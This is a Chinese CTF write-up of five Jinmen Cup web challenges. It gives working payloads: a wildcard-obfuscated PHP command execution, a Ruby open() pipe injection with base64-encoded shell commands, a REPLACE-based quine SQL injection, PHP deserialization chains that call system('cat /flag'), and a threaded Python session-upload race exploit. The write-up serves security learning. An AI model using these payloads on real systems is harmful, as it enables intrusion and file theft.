第五届世界智能大会[津门杯],随便找点以往的比赛题目做一下,提高一下自己!
hate_php
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
代码审计,首先知道的是过滤了字母大小写和数字,还有三个字符
_$@,对输入code进行了正则表达式的匹配。
这道题关键就是绕过正则匹配,来执行后面的eval函数
- 解题思路
- 利用通配符调用Linux系统命令来查看flag
- 在Linux系统中可以使用 ? * 等字符来正则匹配字母
- 星号(*)可以用来代替0个及以上任意字符
- 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat
首先,构造payload:
?><?=`/???/???%20/???/???/????/*`?>
php使用短链接含义如下:
<?php echo `/bin/cat /var/www/html/index.php`?>
可以看到源码,直接读取flag文件试。
?><?=`/???/??? /????`?>
php使用短链接含义如下:
<?php echo `/bin/cat /flag`?>
PNG图片转换器
- 代码审计
- open函数命令执行漏洞
这道题附件直接给了源码,分析一下
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
这里先介绍以一下linux中反引号的作用,凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出,比如我们输入命令:
`echo cat hello.txt`
linux中|管道符的作用
| 管道符的作用是 把 管道符左边的的输出 当做右边命令后面待处理的结果
例如:
ls -lha ~ | more| grep a >haha.txt
在源码中我们可以发现有个open函数
res = open(file, 'r').read()
存在命令执行漏洞
这里随便上传一个png文件之后会返回base64加密后的png文件名
这里用到的是这个open函数,所以可以把shell写入图片然后加上管道符,之后再执行open函数就可执行shell命令。
首先先上传一个图片
然后输入图片base64加密的文件名查看一下,发现的确进行了base64加密
因为它把/
给过滤了。,所以对命令进行base64加密之后再使用,同时最后要加上之前传的那个文件名。
file=| `echo bHMgLw==(ls /) | base64 -d` > 879550a80023144a9b58dcc288f3f4f3.png
这里使用管道符|
引导后边的shell命令,使用反引号```,就是先进行反引号的shell的base64解密,然后把解密的命令输出,并将输出的结果重定向到上传好的图片。
这个时候再访问那个图片,可以看到已经写进去了,base64揭秘之后得到根目录下的文件
bin
boot
dev
etc
flag_28244
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
根据同样的方法,shell cat /flag_28244
file=| `echo Y2F0IC9mbGFnXzI4MjQ0 | base64 -d` > 879550a80023144a9b58dcc288f3f4f3.png
再次访问这个图片就可以得到base64加密的flag
解密得到flag
ctfhub{d7032802097b5eb927bc3b73}
yet_another_mysql_injection
- SQL注入
- 代码审计
首先进去之后是个登录框,查看源码得到提示
访问/?source
得到源码
通过审计之后发现通过if ($username !== 'admin')
限制了用户名为admin
,同时输入的密码会进入checkSql
这个函数里面,不难发现这个函数机型正则匹配,过滤了/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i
,大小写都过滤了
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '')同时在这里,对输入的密码和sql查询得密码进行了判断。
过程就是判断用户名是否为admin->密码进行checkSql函数检测->用户名和密码带入数据库进行密码查询->查询后的值不能为空->查询后的值需要和你输入的值一样。
介绍一下replace函数的作用。语法:replace(object,search,replace)、语义:把object对象中出现的的search全部替换成replace。实例:select replace(‘abc’,‘b’,‘123’)。最终结果为a123c
这道题就是使用replace函数进行绕过,payload如下:
1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
这里使用了两次replace函数,把1’UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),“%”)))#看成整体更容易理解,这个就相当于先把“替换成‘,然后再把%替换成1’UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),“%”)))#
经过这两次替换,得到的值就和2输出的值一样了。
ctfhub{f80e6d849c2202aa2aa253ef}
pklovecloud
-
反序列化
-
__toString函数
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
一步一步分析一下,
include 'flag.php'
这个说明该目录就是flag.php,只要想办法读取这个内容,就会得到flag。
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
这个pkshow类,没有啥利用点,也看到了最后的返回值是Pk very safe^.^
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
重点就在这个acp类,可以看到有两个魔法函数,_construct()和_toSring(),但是_construct()这个函数是用到了pkshow这个库,前面说了这个库没有用,所以重点就是_tostring这个库,通过这个函数可以进到ace函数里面,同时执行echo_name函数读取到flag内容。
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
这个ace类,触发echo_name函数就会执行下面的程序,也就是读取到了flag.php
$this->openstack = unserialize($this->docker);这个是反序列化docker的值并赋值给openstack
if($this->openstack->neutron === $this->openstack->nova)这个是进行判断两者是否相等
相等就会执行 if (file_get_contents($file))
{
return file_get_contents($file)
} 读取内容并返回值
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
最后的这个是接收参数进行反序列化,并赋值给logdata,同时echo时就会触发类中的_tostring()
下面就是构造payload,要求也就是上面分析的这些
-
先是进入到acp类,修改cinder的值为ace
-
然后进入到ace类后,将docker的值反序列化后等于acp
-
docker的值反序列化后赋值给openstrack,也就是让openstrack等于acp,所以需要让acp类中的neutron和nova的值相等
-
最后保证filename的值等于flag.php
if($this->openstack->neutron === $this->openstack->nova)通过空返回染过这个判断,也就是让其null==null
$this->openstack = unserialize($this->docker);当docker为空时,this->openstack自然为空对象,则$this->openstack->neutron === $this->openstack->nova两侧都为null自然可绕过。
首先先测试一下
<?php
$a="";
$b=unserialize($a);
var_dump($b);//bool(false)
var_dump($a->sss);//报异常并返回null
var_dump($a->ttt->xxx===null);//bool(true)
?>
构造exp
<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$b=new acp;
$c=new ace;
$b->cinder=$c;
$c->docker='';
$c->filename='/flag.php';
echo urlencode(serialize($b));
?>
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
<?php
// ctfhub{1035800175138278d4dba43e};
$heat='asdwe1g648798qwe321d65';
?>
php反序列化题型扩展
看这个题目
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
HelloPhp这个类用到了两个魔术函数,_construct()和_destruct(),在__destruct
方法中,使用成员变量$a
作为参数$b
作为变量函数名执行代码,在代码最后接收GET参数并进行反序列化。
只需要通过构造$a
与$b
组成危险代码,然后构造HelloPhp类的序列化对象即可
<?php
class HelloPhp
{
public $a='cat /flag';
public $b='system';
}
$c=new HelloPhp;
echo serialize($c);
O:8:"HelloPhp":2:{s:1:"a";s:9:"cat /flag";s:1:"b";s:6:"system";}
EasyCleanup
- 文件包含
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
传个eval可以直接看到phpionfo
用个脚本就行,还有文件包含的方法有时间再试试
import io
import sys
import requests
import threading
host = 'http://challenge-983911a7e85eadf8.sandbox.ctfhub.com:10800/'
sessid = 'aa'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag_is_here_not_are_but_you_find');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid},
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
break
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
得到flag
ctfhub{b3e1bc40dcd3963ea50bed39}